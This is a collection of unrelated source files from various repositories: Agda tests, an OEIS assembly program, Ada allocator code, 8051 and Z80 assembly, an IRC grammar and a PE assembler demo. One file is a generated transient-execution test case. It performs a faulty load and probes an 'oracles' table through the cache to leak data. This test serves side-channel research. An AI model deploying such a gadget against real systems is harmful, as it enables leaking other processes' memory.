COLOUR_TEXT_REGION 287 788 295 788 51
STRAND 300 788 304
COLOUR_TEXT_REGION 300 788 304 788 51
HELIX 3 788 10
COLOUR_TEXT_REGION 3 788 10 788 50
HELIX 31 788 41
COLOUR_TEXT_REGION 31 788 41 788 50
HELIX 57 788 66
COLOUR_TEXT_REGION 57 788 66 788 50
HELIX 83 788 84
COLOUR_TEXT_REGION 83 788 84 788 50
HELIX 106 788 126
COLOUR_TEXT_REGION 106 788 126 788 50
HELIX 140 788 150
COLOUR_TEXT_REGION 140 788 150 788 50
HELIX 165 788 178
COLOUR_TEXT_REGION 165 788 178 788 50
HELIX 225 788 243
COLOUR_TEXT_REGION 225 788 243 788 50
HELIX 250 788 264
COLOUR_TEXT_REGION 250 788 264 788 50
HELIX 310 788 331
COLOUR_TEXT_REGION 310 788 331 788 50
STRAND 22 789 27
COLOUR_TEXT_REGION 22 789 27 789 51
STRAND 47 789 51
COLOUR_TEXT_REGION 47 789 51 789 51
STRAND 90 789 95
COLOUR_TEXT_REGION 90 789 95 789 51
STRAND 131 789 135
COLOUR_TEXT_REGION 131 789 135 789 51
STRAND 159 789 162
COLOUR_TEXT_REGION 159 789 162 789 51
STRAND 198 789 199
COLOUR_TEXT_REGION 198 789 199 789 51
STRAND 273 789 276
COLOUR_TEXT_REGION 273 789 276 789 51
STRAND 286 789 291
COLOUR_TEXT_REGION 286 789 291 789 51
STRAND 293 789 295
COLOUR_TEXT_REGION 293 789 295 789 51
STRAND 300 789 304
COLOUR_TEXT_REGION 300 789 304 789 51
HELIX 3 789 9
COLOUR_TEXT_REGION 3 789 9 789 50
HELIX 31 789 41
COLOUR_TEXT_REGION 31 789 41 789 50
HELIX 58 789 65
COLOUR_TEXT_REGION 58 789 65 789 50
HELIX 106 789 125
COLOUR_TEXT_REGION 106 789 125 789 50
HELIX 142 789 150
COLOUR_TEXT_REGION 142 789 150 789 50
HELIX 163 789 177
COLOUR_TEXT_REGION 163 789 177 789 50
HELIX 228 789 244
COLOUR_TEXT_REGION 228 789 244 789 50
HELIX 251 789 264
COLOUR_TEXT_REGION 251 789 264 789 50
HELIX 310 789 331
COLOUR_TEXT_REGION 310 789 331 789 50
|
test/fail/Issue705.agda | np/agda-git-experiment | 1 | 6953 | module Issue705 where
module A where
data A : Set where
open A
open A |
oeis/245/A245032.asm | neoneye/loda-programs | 11 | 244032 | <filename>oeis/245/A245032.asm
; A245032: a(n) = 27*(n - 6)^2 + 4*(n - 6)^3 = ((n - 6)^2)*(4*n + 3).
; 108,175,176,135,76,23,0,31,140,351,688,1175,1836,2695,3776,5103,6700,8591,10800,13351,16268,19575,23296,27455,32076,37183,42800,48951,55660,62951,70848,79375,88556,98415,108976,120263,132300,145111,158720,173151,188428,204575,221616,239575,258476,278343,299200,321071,343980,367951,393008,419175,446476,474935,504576,535423,567500,600831,635440,671351,708588,747175,787136,828495,871276,915503,961200,1008391,1057100,1107351,1159168,1212575,1267596,1324255,1382576,1442583,1504300,1567751,1632960
mul $0,4
mov $1,$0
add $1,3
mov $2,24
mov $3,$0
mov $0,$1
sub $2,$3
mov $3,$2
mul $3,$2
mul $3,2
mul $0,$3
div $0,32
|
test/Succeed/Issue2554-size-mutual.agda | shlevy/agda | 2 | 12399 | -- Andreas, 2017-04-26, issue #2554
-- Allow mutual sized types in successor style.
-- {-# OPTIONS -v tc.pos.args:100 #-}
-- {-# OPTIONS -v tc.pos:100 #-}
-- {-# OPTIONS -v tc.polarity:20 #-}
open import Agda.Builtin.Size
mutual
data C : Size → Set where
c : ∀{i} → D i → C (↑ i)
data D : Size → Set where
d : ∀{i} → C i → D (↑ i)
-- Test subtyping
test : ∀{i} {j : Size< i} → C j → C i
test x = x
-- Define a size-preserving function
mutual
f : ∀{i} → C i → C i
f (c y) = c (g y)
g : ∀{i} → D i → D i
g (d x) = d (f x)
|
tlsf/src/old/tlsf-mem_block_size.adb | vasil-sd/ada-tlsf | 3 | 16050 | <reponame>vasil-sd/ada-tlsf<filename>tlsf/src/old/tlsf-mem_block_size.adb
with TLSF.Config;
use TLSF.Config;
package body TLSF.Mem_Block_Size
with SPARK_Mode is
generic
type Modular is mod <>;
Alignment_Log2: Positive;
function Align_generic ( V : Modular ) return Modular
with
Pre => V <= Modular'Last - (2 ** Alignment_Log2 - 1),
Post => (V <= Align_generic'Result and
Align_generic'Result mod 2 ** Alignment_Log2 = 0);
function Align_generic ( V : Modular ) return Modular
is ((V + (2 ** Alignment_Log2 - 1))
and not (2 ** Alignment_Log2 - 1));
function Align ( Sz : Size) return Size is
function Align is new Align_generic (Size, Align_Size_Log2);
begin
return Align (Sz);
end Align;
function Align ( Sz : SSE.Storage_Count ) return Size
is (Align(Size(Sz)));
function Align ( Addr : System.Address ) return System.Address
is
function Align is new Align_generic (SSE.Integer_Address, Align_Size_Log2);
Int_Addr : SSE.Integer_Address := SSE.To_Integer (Addr);
Aligned : SSE.Integer_Address := Align (Int_Addr);
Result : System.Address := SSE.To_Address (Aligned);
begin
pragma Assert (Int_Addr <= Aligned);
pragma Assume (SSE.To_Integer(SSE.To_Address(Aligned)) = Aligned);
pragma Assert (SSE.To_Integer(Addr) <= SSE.To_Integer(Result));
return Result;
end Align;
function Align ( Sc : SSE.Storage_Count ) return SSE.Storage_Count
is
type Storage_Count_Mod is mod 2 ** SSE.Storage_Count'Size;
function Align is new Align_generic (Storage_Count_Mod, Align_Size_Log2);
begin
return SSE.Storage_Count (Align (Storage_Count_Mod (Sc)));
end Align;
use type SSE.Storage_Offset;
function "+" (A : System.Address;
B : Size)
return System.Address
is (A + SSE.Storage_Offset (B));
function "-" (A : System.Address;
B : Size)
return System.Address
is (A - SSE.Storage_Offset (B));
end TLSF.Mem_Block_Size;
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_502.asm | ljhsiun2/medusa | 9 | 168017 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1a6a9, %rsi
lea addresses_WT_ht+0x1d129, %rdi
nop
nop
nop
nop
nop
and $59321, %r10
mov $110, %rcx
rep movsb
nop
nop
xor $35708, %rsi
lea addresses_A_ht+0xd4a9, %rbx
sub $59236, %rdx
mov (%rbx), %r10
nop
inc %rsi
lea addresses_A_ht+0x8a9, %rdx
lfence
movb (%rdx), %cl
nop
and %rcx, %rcx
lea addresses_WT_ht+0x1aa69, %rsi
nop
add $46878, %rdi
movups (%rsi), %xmm6
vpextrq $0, %xmm6, %rbx
nop
nop
add $37713, %rcx
lea addresses_WC_ht+0x1729, %rdx
nop
nop
cmp $63836, %rcx
movb (%rdx), %r10b
xor %rbx, %rbx
lea addresses_WC_ht+0x154a9, %rsi
lea addresses_WT_ht+0x1ed29, %rdi
xor %r12, %r12
mov $74, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0xc6a9, %rbx
nop
cmp $42599, %rbp
vmovups (%rbx), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r12
nop
cmp $26180, %rdx
lea addresses_UC_ht+0x148a9, %rsi
nop
and $10584, %rbx
mov (%rsi), %dx
nop
nop
nop
xor $24404, %rcx
lea addresses_WC_ht+0x1a2a9, %rsi
lea addresses_D_ht+0x19529, %rdi
nop
nop
nop
nop
nop
sub %rdx, %rdx
mov $7, %rcx
rep movsw
xor %rdi, %rdi
lea addresses_WT_ht+0xc809, %r10
nop
nop
nop
nop
cmp $35536, %rdi
movb $0x61, (%r10)
nop
sub %rbp, %rbp
lea addresses_normal_ht+0x9aa9, %rsi
lea addresses_normal_ht+0x116a9, %rdi
nop
nop
nop
nop
add %r12, %r12
mov $80, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $16176, %rdx
lea addresses_WT_ht+0x10ea9, %rdi
add %r12, %r12
movw $0x6162, (%rdi)
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x114a9, %rcx
nop
nop
nop
nop
nop
and $10253, %rbp
mov (%rcx), %ebx
nop
nop
add %rbp, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rbx
push %rdx
// Store
lea addresses_WC+0x166a9, %r10
nop
nop
and $13340, %r9
movl $0x51525354, (%r10)
nop
nop
sub $9571, %r10
// Faulty Load
lea addresses_UC+0x126a9, %rbx
nop
nop
nop
add %rdx, %rdx
vmovups (%rbx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r11
lea oracles, %r8
and $0xff, %r11
shlq $12, %r11
mov (%r8,%r11,1), %r11
pop %rdx
pop %rbx
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
Modul 2/latih9.asm | hyuwah/fu-praktikum-smd | 0 | 242980 | <filename>Modul 2/latih9.asm
;-------------------------------------------------------------------------------
; Praktikum SMD 2015
; M.Wahyudin (140310120031)
;
; Name : LATIH9.ASM
; Desc : Menampilkan digit hexa 0 hingga F ke P1
; Cacah naik
; Input : PB di P3.0 (toggle)
; Output: 7 segment
;-------------------------------------------------------------------------------
waktu equ 75
mov b, #0h ; mengondisikan awal b=0
mov P3, #255 ; mengondisikan P3 sebagai input
mulai:
anl b, #0Fh
mov a, b ; menyalin isi b ke a
lcall tampil ; memanggil rutin tampil
mov P1, a ; mengirim nilai a ke P1
setb c
tekan:
jb P3.0, tes_on ; jika PB tak ditekan lompat ke tes_on
cpl c ; jika PB ditekan kopmlemenkan c
tekan1: jnb P3.0, tekan1 ; looping disini hingga PB dilepas
tes_on: jc delay ; jika c HIGH lompat ke delay
jmp tekan ; terus baca PB jika tak ditekan
delay:
mov R0, #200
mov R1, #200
tunggu:
djnz R0, tunggu
djnz R1, tunggu
inc b
jmp mulai
tampil:
inc a ; cacah a
movc a, @a+pc ; menyalin isi alamat a+pc ke a
ret ; kembali ke pemanggil
db 3Fh ; 0
db 06h ; 1
db 5bh ; 2
db 4Fh ; 3
db 66h ; 4
db 6Dh ; 5
db 7Dh ; 6
db 07h ; 7
db 7Fh ; 8
db 67h ; 9
db 77h ; a
db 7Ch ; b
db 39h ; c
db 5Eh ; d
db 79h ; e
db 71h ; f
end |
Sources/Globe_3d/gl/gl-skinned_geometry.ads | ForYouEyesOnly/Space-Convoy | 1 | 2434 | <filename>Sources/Globe_3d/gl/gl-skinned_geometry.ads
-------------------------------------------------------------------------
-- GL.skinned_Geometry - an association of a skin with a geometry primitive.
--
-- Copyright (c) <NAME> 2007
-- AUSTRALIA
-- Permission granted to use this software, without any warranty,
-- for any purpose, provided this copyright note remains attached
-- and unmodified if sources are distributed further.
-------------------------------------------------------------------------
with GL.Geometry;
with GL.Skins;
package GL.Skinned_Geometry is
type Skinned_Geometry_t is
record
Geometry : GL.Geometry.p_Geometry;
Skin : GL.Skins.p_Skin;
Veneer : GL.Skins.p_Veneer;
end record;
type skinned_Geometrys is array (Positive range <>) of Skinned_Geometry_t;
null_skinned_Geometrys : constant skinned_Geometrys (1 .. 0) := (others => (Geometry => null,
Skin => null,
Veneer => null));
-- function Bounds (Self : in
procedure Destroy (Self : in out Skinned_Geometry_t);
end GL.Skinned_Geometry;
|
src/main/antlr4/de/rubenmaurer/punk/IRC.g4 | Schrotty/sIRC | 0 | 3928 | grammar IRC;
options
{
language = Java;
}
@parser::members {
public void reportError(RecognitionException e) {
throw new RuntimeException("I quit!\n" + e.getMessage());
}
}
@lexer::members {
public void reportError(RecognitionException e) {
throw new RuntimeException("I quit!\n" + e.getMessage());
}
}
/*
* Parser Rules
*/
chatLine : (commands | WORD | WHITESPACE)+ NEWLINE?;
commands : (nickCommand | userCommand | capCommand | quitCommand | privmsgCommand | ping | pong | motd | whois | notice | lusers | join);
initCommand : (capCommand | nickCommand | userCommand)+ NEWLINE?;
nickCommand : 'NICK' WHITESPACE delimiter? user NEWLINE?;
userCommand : 'USER' WHITESPACE user WHITESPACE userMode WHITESPACE unused WHITESPACE DELIMITER realname NEWLINE?;
capCommand : 'CAP LS' WHITESPACE WORD NEWLINE?;
quitCommand : 'QUIT' WHITESPACE DELIMITER message? NEWLINE?;
privmsgCommand : 'PRIVMSG' WHITESPACE user WHITESPACE DELIMITER message? NEWLINE?;
notice : 'NOTICE' WHITESPACE user WHITESPACE DELIMITER message? NEWLINE?;
ping : 'PING' NEWLINE?;
pong : 'PONG' NEWLINE?;
motd : 'MOTD' NEWLINE?;
whois : 'WHOIS' WHITESPACE user NEWLINE?;
lusers : 'LUSERS' NEWLINE?;
join : 'JOIN' WHITESPACE WORD NEWLINE?;
/* simples */
realname : (WORD | WHITESPACE)+;
message : (WORD | WHITESPACE)+;
user : WORD;
userMode : WORD;
unused : WORD;
delimiter : DELIMITER;
/*
* Lexer Rules
*/
fragment LOWERCASE : [a-z] ;
fragment UPPERCASE : [A-Z] ;
fragment NUMS : [0-9] ;
WHITESPACE : (' ' | '\t')+ ;
WORD : (LOWERCASE | UPPERCASE | NUMS | '_' | '*' | '.' | '!' | '@' | '#' | '-' | '?')+ ;
DELIMITER : ':';
NEWLINE : '\\r\\n' | '\\r' | '\r' | '\\n' | '\n' ;
TEXT : ('['|'(') ~[\])]+ (']'|')'); |
programs/oeis/038/A038990.asm | karttu/loda | 0 | 18393 | <reponame>karttu/loda
; A038990: Expansion of (1-x-x^2+2*x^3) / ((1-x)*(1+x)*(1-3*x+x^2)).
; 1,2,5,14,37,98,257,674,1765,4622,12101,31682,82945,217154,568517,1488398,3896677,10201634,26708225,69923042,183060901,479259662,1254718085,3284894594,8599965697,22515002498,58945041797,154320122894,404015326885,1057725857762,2769162246401,7249760881442,18980120397925,49690600312334,130091680539077,340584441304898,891661643375617,2334400488821954,6111539823090245
mov $2,$0
add $2,1
mov $3,$0
lpb $2,1
mov $0,$3
sub $2,1
sub $0,$2
trn $0,1
cal $0,61647 ; Beginning at the well for the topograph of a positive definite quadratic form with values 1, 1, 1 at a superbase (i.e., 1, 1 and 1 are the vonorms of the superbase), these numbers indicate the labels of the edges of the topograph on a path of greatest ascent.
add $1,$0
lpe
|
oeis/090/A090588.asm | neoneye/loda-programs | 11 | 176170 | <reponame>neoneye/loda-programs
; A090588: Number of labeled idempotent groupoids.
; Submitted by <NAME>
; 1,1,4,729,16777216,95367431640625,221073919720733357899776,311973482284542371301330321821976049,374144419156711147060143317175368453031918731001856,507528786056415600719754159741696356908742250191663887263627442114881
lpb $0
mov $1,$0
add $2,$0
div $0,10
lpe
pow $2,$1
sub $1,1
pow $2,$1
mov $0,$2
|
peASM/examples/windowclass/windowclass.asm | delphi-pascal-archive/pe-asm | 0 | 92889 | <reponame>delphi-pascal-archive/pe-asm<gh_stars>0
/////////////////////////////////////////////////////////////////////////
// //
// my_asm(peasm) v0.2 for win32 //
// assembler to x86 machine code compiler written in Delphi //
// //
// written by <NAME> //
// //
// //
// <EMAIL> //
// //
/////////////////////////////////////////////////////////////////////////
.import
import Kernel32.dll WriteFile
import Kernel32.dll GetStdHandle
import Kernel32.dll ExitProcess
import Kernel32.dll GetModuleHandleA
import User32.dll CreateWindowExA
import User32.dll ShowWindow
import User32.dll GetMessageA
import User32.dll DispatchMessageA
import User32.dll TranslateMessage
import User32.dll DefWindowProcA
import User32.dll RegisterClassExA
.var
record msg
dword hwnd 0x00000000
dword code 0x00000000
dword wparam 0x00000000
dword lparam 0x00000000
dword time 0x00000000
dword mousex 0x00000000
dword mousey 0x00000000
end
string class_name "OpenGL"
string window_name "My window!"
record wndclassex
dword size 0x00000030
dword style 0x00000000
dword wndproc 0x00000000
dword extrac 0x00000000
dword extraw 0x00000000
dword hinst 0x00000000
dword hico 0x00000000
dword hcurs 0x00000000
dword bgnd 0x00000000
dword pmenu 0x00000000
dword pclass 0x00000000
dword hicosm 0x00000000
end
.code
push 0x00
call GetModuleHandleA
mov ^wndclassex.hinst, eax
mov eax, ^DefWindowProcA
mov ^wndclassex.wndproc, eax
mov eax, @class_name
mov ^wndclassex.pclass, eax
push @wndclassex
call RegisterClassExA
mov eax,^wndclassex.hinst
push 0x00
push eax
push 0x00
push 0x00
push 0x70 // w
push 0x70 // h
push 0x00 // y
push 0x00 // x
push 0x10CF0000
push @window_name
push @class_name
push 0x00 // ext style
call CreateWindowExA
push 0x00000005
push eax
call ShowWindow
:mainloop
push 0x00
push 0x00
push 0x00
push @msg.hwnd
call GetMessageA
push @msg.hwnd
call TranslateMessage
push @msg.hwnd
call DispatchMessageA
jmp mainloop
push 0x00
call ExitProcess
call DefWindowProcA
|
lib/hideapps.scpt | WEBZCC/pliim | 679 | 3465 | # Hide all windows
tell application "System Events" to set activeApp to name of every application process whose frontmost is true
tell application "Finder" to set visible of every process where visible is true and name is not activeApp to false
|
test_binaries/golfclub/rm.asm | BinaryResearch/Lepton | 17 | 247198 | <filename>test_binaries/golfclub/rm.asm
; rm -rf / in 93 bytes.
BITS 64
org 0x100000000
;---------------------+------+-------------+------------------------------------------+
; Code Listing | OFFS | ASSEMBLY | CODE COMMENT |
;---------------------+------+-------------+------------------------------------------+
db 0x7F, "ELF" ; 0x0 | 7f454c46 | Elf Magic Value
_start: ; | |
mov rbx, 0x2f2066722d206d72 ; | rm -rf / in reverse
jmp short woop ; 0x0E | eb 3c | Then onto the rest of our code
dw 2 ; 0x10 | 02 00 | e_type
dw 0x3e ; 0x12 | 3e 00 | e_machine
dd 1 ; 0x14 | 01 00 00 00 | e_version
dd _start - $$ ; 0x18 | 04 00 00 00 | e_entry
phdr: ; | |-- Begin Program Header
dd 1 ; 0x1C | 01 00 00 00 | [PHDR] p_type
dd phdr - $$ ; 0x20 | 1C 00 00 00 | [EHDR] e_phoff [PHDR] p_flags
dd 0 ; 0x24 | 00 00 00 00 | [PHDR] p_offset
dd 0 ; 0x28 | 00 00 00 00 | [EHDR] e_shoff
dq $$ ; 0x2C | 00 00 00 00 | [PHDR] p_vaddr
; 0x30 | 01 00 00 00 | [EHDR] e_flags
dw 0x40 ; 0x34 | 40 00 | [EHDR] e_ehsize [PHDR] p_addr
dw 0x38 ; 0x36 | 38 00 | [EHDR] e_phentsize
dw 1 ; 0x38 | 01 00 | [EHDR] e_phnum
dw 2 ; 0x3A | 02 00 | [EHDR] e_shentsize
execy: ; | |-- Begin execve syscall
add al, 0x3b ; 0x3C | 043b | execve syscall
syscall ; 0x3E | 0f05 | Call kernel
dd 0 ; 0x40 | | [PHDR] p_filesz
add al, 0x3b ; 0x44 | 043b | execve syscall
syscall ; 0x46 | 0f05 | Call kernel
dd 0 ; 0x48 | 00 00 00 00 | [PHDR] p_memsz
woop: ; | |-- Begin connect syscall
;--- execve -------------------------------------------------------------------------
xor rax, rax ; 4831c0 | make 0 3
push rbx ; 53 | push this string to the stack
mov rdi, rsp ; 4889e7 | move pointer to the string to rdi
push rax ; 50 | push a 0
mov rdx, rsp ; 4889e2 | push pointer to 0 to rdx
push rdi ; 57 | push /bin//sh string to stack
mov rsi, rsp ; 4889e6 | move pointer to it to rsi
jmp short execy ; eb8d | Back up into program headers
|
part1/induction/+-swap.agda | akiomik/plfa-solutions | 1 | 16312 | <gh_stars>1-10
module +-swap where
import Relation.Binary.PropositionalEquality as Eq
open Eq using (_≡_; cong; sym)
open Eq.≡-Reasoning using (begin_; _≡⟨⟩_; step-≡; _∎)
open import Data.Nat using (ℕ; _+_)
open import Induction′ using (+-assoc; +-comm)
+-swap : ∀ (m n p : ℕ) → m + (n + p) ≡ n + (m + p)
+-swap m n p =
begin
m + (n + p)
≡⟨ sym (+-assoc m n p) ⟩
(m + n) + p
≡⟨ cong (_+ p) (+-comm m n) ⟩
(n + m) + p
≡⟨ +-assoc n m p ⟩
n + (m + p)
∎
|
unlz4_spke_fast.asm | uniabis/z80depacker | 25 | 95429 | <gh_stars>10-100
;
; LZ4 decompressor by spke (v.1 28/08/2017)
;
; I wrote this LZ4 decompressor from scratch; however, I looked at previously released
; LZ4 decompressors by <NAME>, see http://www.union.org.pl/download/z80/
; and stephenw32768, see https://www.worldofspectrum.org/forums/discussion/45185/lz4-decoder/p2
; Many of their good ideas ended up in my code too (my favourite trick invented by Piotr is
; reading extra bytes into C). I hope my added tricks are worthwhile to call this unpacker new.
;
; <NAME>'s and stephenw32768's unpackers are both very fast. Piotr's code takes about
; 33.8 t-states to unpack a byte. stephenw32768's unpacker unpacks a byte within about 34.4 t-states.
; This routine is about 2.4% faster than Piotr's, so it takes 33 t-states to unpack a byte, which
; is nearly reaching my personal target of decompressing at 1.5*LDIR. It uses 104 bytes of memory.
;
; the command line for the official LZ4 command line compressor is
;
; lz4.exe -16 --no-frame-crc <sourcefile> <outfile>
;
; where -16 gives you the best possible compression (which is not that great actually),
; and --no-frame-crc makes data somewhat easier to handle. You can download the binaries
; from http://lz4.github.io/lz4/
;
; Of course, LZ4 decompression algorithm is (c) 2011-2015, <NAME>.
;
; Drop me an email if you have any comments/ideas/suggestions: <EMAIL>
;
DEFINE ALLOW_LDIR_UNROLLING
;DEFINE DATA_HAS_HEADERS ; comment this line out if using to decompress a stripped (frameless) ZX4 data
;DEFINE ALLOW_UNCOMPRESSED ; uncomment to correctly process uncompressed blocks (i've no idea why you would do such a thing!)
DecompressLZ4: ; generally speaking, .LZ4 file can contain multiple frames (compressed or uncompressed);
; each frame has header descriptors and may, in addition, contain checksums,
; see the details: https://docs.google.com/document/d/1cl8N1bmkTdIpPLtnlzbBSFAdUeyNo5fwfHbHU7VRNWY/edit
; we ignore pretty much all of this machinery and assume a single compressed frame.
IFDEF DATA_HAS_HEADERS
ld bc,4 : add hl,bc ; skip 4 "magic" bytes at the start of the frame
IFNDEF ALLOW_UNCOMPRESSED
ld a,(hl) ; must also skip "Frame Descriptor" (3 bytes) and "Block Size" (4 bytes)
and 8 ; bit 3 of the "FLG" byte is 1 if "Content Size" is included...
add 3+4 : ld c,a ; ..which may also need to be skipped ("Content Size" is 8 bytes long)
add hl,bc ; skip all that needs to be skipped
ELSE
ld a,(hl) ; must also skip "Frame Descriptor" (3 bytes)
and 8 ; bit 3 of the "FLG" byte is 1 if "Content Size" is included...
add 3 : ld c,a ; ..which may also need to be skipped ("Content Size" is 8 bytes long)
add hl,bc ; skip all that needs to be skipped
ld c,(hl) : inc hl : ld b,(hl) : inc hl
ld a,b : or c : ret z ; frame end marker?
inc hl : ld a,(hl) : inc hl : rla : jr nc,Compressed
ldir : ret
Compressed: ld b,0
ENDIF
ELSE
; also, this decompressor may be used to handle stripped (headerless) file generated by the tool developed by
; stephenw32768, see https://www.worldofspectrum.org/forums/discussion/comment/727516/#Comment_727516
ld b,0 ; B is assumed to zero throughout, which saves on clearing it
ENDIF
DecompressRaw:
jr ReadToken ; a small price to pay to getting rid of a JP per every short match!
ShortMatch:
CopyMatch:
ld c,a : ex (sp),hl : ex hl,de ; BC = len, DE = dest, HL = -offset, SP ->[src]
add hl,de ; BC = len, DE = dest, HL = dest+-offset, SP->[src]
IFDEF ALLOW_LDIR_UNROLLING
ldi
ldi
ldi
ENDIF
ldir : pop hl ; BC = 0, DE = dest, HL = src
ReadToken: ; first a byte token "LLLLMMMM" is read from the stream,
